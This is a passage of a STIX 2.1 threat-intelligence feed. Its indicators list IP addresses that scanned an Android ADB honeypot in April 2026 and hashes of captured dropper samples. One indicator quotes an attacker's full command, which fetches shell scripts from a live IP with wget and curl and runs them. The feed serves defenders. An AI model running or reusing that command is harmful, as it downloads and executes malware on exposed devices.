      "valid_until": "2026-05-06T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T01:20:20.000Z",
          "last_seen": "2026-04-04T01:30:29.004Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CO"
          ],
          "asn": [
            "52468"
          ],
          "org": [
            "UFINET PANAMA S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T02:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-04T01:48:06.000Z | last_seen=2026-04-04T01:49:24.639Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--f5a06fcc-bba3-4b3d-a529-d4720a9c6fab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:00:10.000Z",
      "valid_until": "2026-05-06T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-04T01:48:06.000Z",
          "last_seen": "2026-04-04T01:49:24.639Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-01T23:37:57.000Z | last_seen=2026-04-04T02:08:22.273Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T03:00:03.000Z",
      "valid_until": "2026-05-06T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-01T23:37:57.000Z",
          "last_seen": "2026-04-04T02:08:22.273Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-04T02:06:59.000Z | last_seen=2026-04-04T02:08:23.234Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--6e69138a-5438-4adb-a1b3-f468d63c522e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T03:00:03.000Z",
      "valid_until": "2026-05-06T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-04T02:06:59.000Z",
          "last_seen": "2026-04-04T02:08:23.234Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T02:22:55.000Z | last_seen=2026-04-04T02:32:57.255Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--480a475a-d857-4e93-ba88-8a306114bb42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '67.183.46.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T03:00:03.000Z",
      "valid_until": "2026-05-06T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T02:22:55.000Z",
          "last_seen": "2026-04-04T02:32:57.255Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=AR; asn=52425; asn_org=RELTID CV S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T04:51:22.000Z | last_seen=2026-04-04T05:01:27.160Z | ports=5555 | cc=AR | asn=52425 | org=RELTID CV S.A.",
      "id": "indicator--e290801c-0ccd-4690-9d4e-52aecadc30a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.191.27.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:00:02.000Z",
      "valid_until": "2026-05-06T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T04:51:22.000Z",
          "last_seen": "2026-04-04T05:01:27.160Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "52425"
          ],
          "org": [
            "RELTID CV S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=TR; asn=9121; asn_org=Turk Telekom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T04:19:35.000Z | last_seen=2026-04-04T04:29:39.212Z | ports=5555 | cc=TR | asn=9121 | org=Turk Telekom",
      "id": "indicator--3e9e31f2-70de-4871-b3c9-aa353b90a94b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '78.190.121.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:00:02.000Z",
      "valid_until": "2026-05-06T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T04:19:35.000Z",
          "last_seen": "2026-04-04T04:29:39.212Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TR"
          ],
          "asn": [
            "9121"
          ],
          "org": [
            "Turk Telekom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=ES; asn=12430; asn_org=Vodafone Spain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-04T05:07:17.000Z | last_seen=2026-04-04T05:23:03.046Z | ports=5555 | cc=ES | asn=12430 | org=Vodafone Spain",
      "id": "indicator--6f45be96-4fc2-4ac3-b474-b92d4e904f04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '148.3.31.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T06:00:03.000Z",
      "valid_until": "2026-05-06T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-04T05:07:17.000Z",
          "last_seen": "2026-04-04T05:23:03.046Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "12430"
          ],
          "org": [
            "Vodafone Spain"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=NZ; asn=136557; asn_org=Host Universal Pty Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=69 | first_seen=2026-04-04T06:11:44.000Z | last_seen=2026-04-05T00:14:58.532Z | ports=5555 | cc=NZ | asn=136557 | org=Host Universal Pty Ltd",
      "id": "indicator--4f54ebdf-f5b3-420e-a9dc-c3e4417f2237",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.75.11.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "valid_until": "2026-05-06T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 69,
          "first_seen": "2026-04-04T06:11:44.000Z",
          "last_seen": "2026-04-05T00:14:58.532Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NZ"
          ],
          "asn": [
            "136557"
          ],
          "org": [
            "Host Universal Pty Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=AU; asn=137409; asn_org=GSL Networks Pty LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=35 | first_seen=2026-04-04T06:35:43.000Z | last_seen=2026-04-04T06:56:56.419Z | ports=5555 | cc=AU | asn=137409 | org=GSL Networks Pty LTD",
      "id": "indicator--2425133d-2c5b-444b-81db-17e14f4f7cff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.244.62.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "valid_until": "2026-05-06T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 35,
          "first_seen": "2026-04-04T06:35:43.000Z",
          "last_seen": "2026-04-04T06:56:56.419Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "137409"
          ],
          "org": [
            "GSL Networks Pty LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=20115; asn_org=Charter Communications LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-04T06:41:20.000Z | last_seen=2026-04-04T06:51:20.960Z | ports=5555 | cc=US | asn=20115 | org=Charter Communications LLC",
      "id": "indicator--2b9085a3-e1f0-4002-b4c5-a6f9bb2a8c3f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.40.144.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "valid_until": "2026-05-06T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-04T06:41:20.000Z",
          "last_seen": "2026-04-04T06:51:20.960Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20115"
          ],
          "org": [
            "Charter Communications LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; cats=Generic Protocol Command Decode; adb_cmd_hits=8; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.102/w.sh; sh w.sh; curl http://176.65.139.102/c.sh; sh c.sh; wget http://176.65.139.102/wget.sh; sh wget.sh;\"\n\nObserved in ADBHoney telemetry for 2026-04. events=32 | first_seen=2026-04-03T23:10:30.000Z | last_seen=2026-04-04T18:08:08.104Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--90c50517-8f8f-4ebe-a66a-ee7ce04bad1a",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "valid_until": "2026-05-06T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 32,
          "first_seen": "2026-04-03T23:10:30.000Z",
          "last_seen": "2026-04-04T18:08:08.104Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/f03b3ba2573065ffba9e459b0f76015b88310fbd2a3414fffeb2edffbbe599dd.raw; last_seen=2026-04-04T06:08:43.690Z",
      "id": "indicator--5fb12140-4bd4-46d7-9f1d-5da32c3a9c08",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'f03b3ba2573065ffba9e459b0f76015b88310fbd2a3414fffeb2edffbbe599dd']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/1aa275960ac18c41929a3d5cb9ef318df53b5f2234e54addbdfe9b4a90322c6f.raw; last_seen=2026-04-04T06:08:40.351Z",
      "id": "indicator--f394d4d2-9d31-4344-9f89-edead4510e21",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '1aa275960ac18c41929a3d5cb9ef318df53b5f2234e54addbdfe9b4a90322c6f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T07:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/c44d7219bd0e05ba273786530cf5c1a9e2977fdeead6b6662aa2bd8d5bb55d8f.raw; last_seen=2026-04-04T06:08:41.413Z",
      "id": "indicator--f9b2b922-931e-4bee-9929-b7e4b03517ea",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'c44d7219bd0e05ba273786530cf5c1a9e2977fdeead6b6662aa2bd8d5bb55d8f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T08:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=39 | first_seen=2026-04-04T07:08:00.000Z | last_seen=2026-04-05T21:14:27.105Z | ports=5555 | cc=SG | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--fddfd419-3099-4ad4-a83b-56fe69f06250",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.106.19.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:00:11.000Z",
      "valid_until": "2026-05-06T08:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 39,
          "first_seen": "2026-04-04T07:08:00.000Z",
          "last_seen": "2026-04-05T21:14:27.105Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-04T08:07:12.000Z | last_seen=2026-04-04T08:08:20.295Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--e8747502-9f89-40cb-bcc7-4736c97684fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '161.97.173.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:00:03.000Z",
      "valid_until": "2026-05-06T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-04T08:07:12.000Z",
          "last_seen": "2026-04-04T08:08:20.295Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-04T08:37:31.000Z | last_seen=2026-04-04T08:38:33.794Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b2f7d184-9fba-4bc3-b183-a80eeebdbf16",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
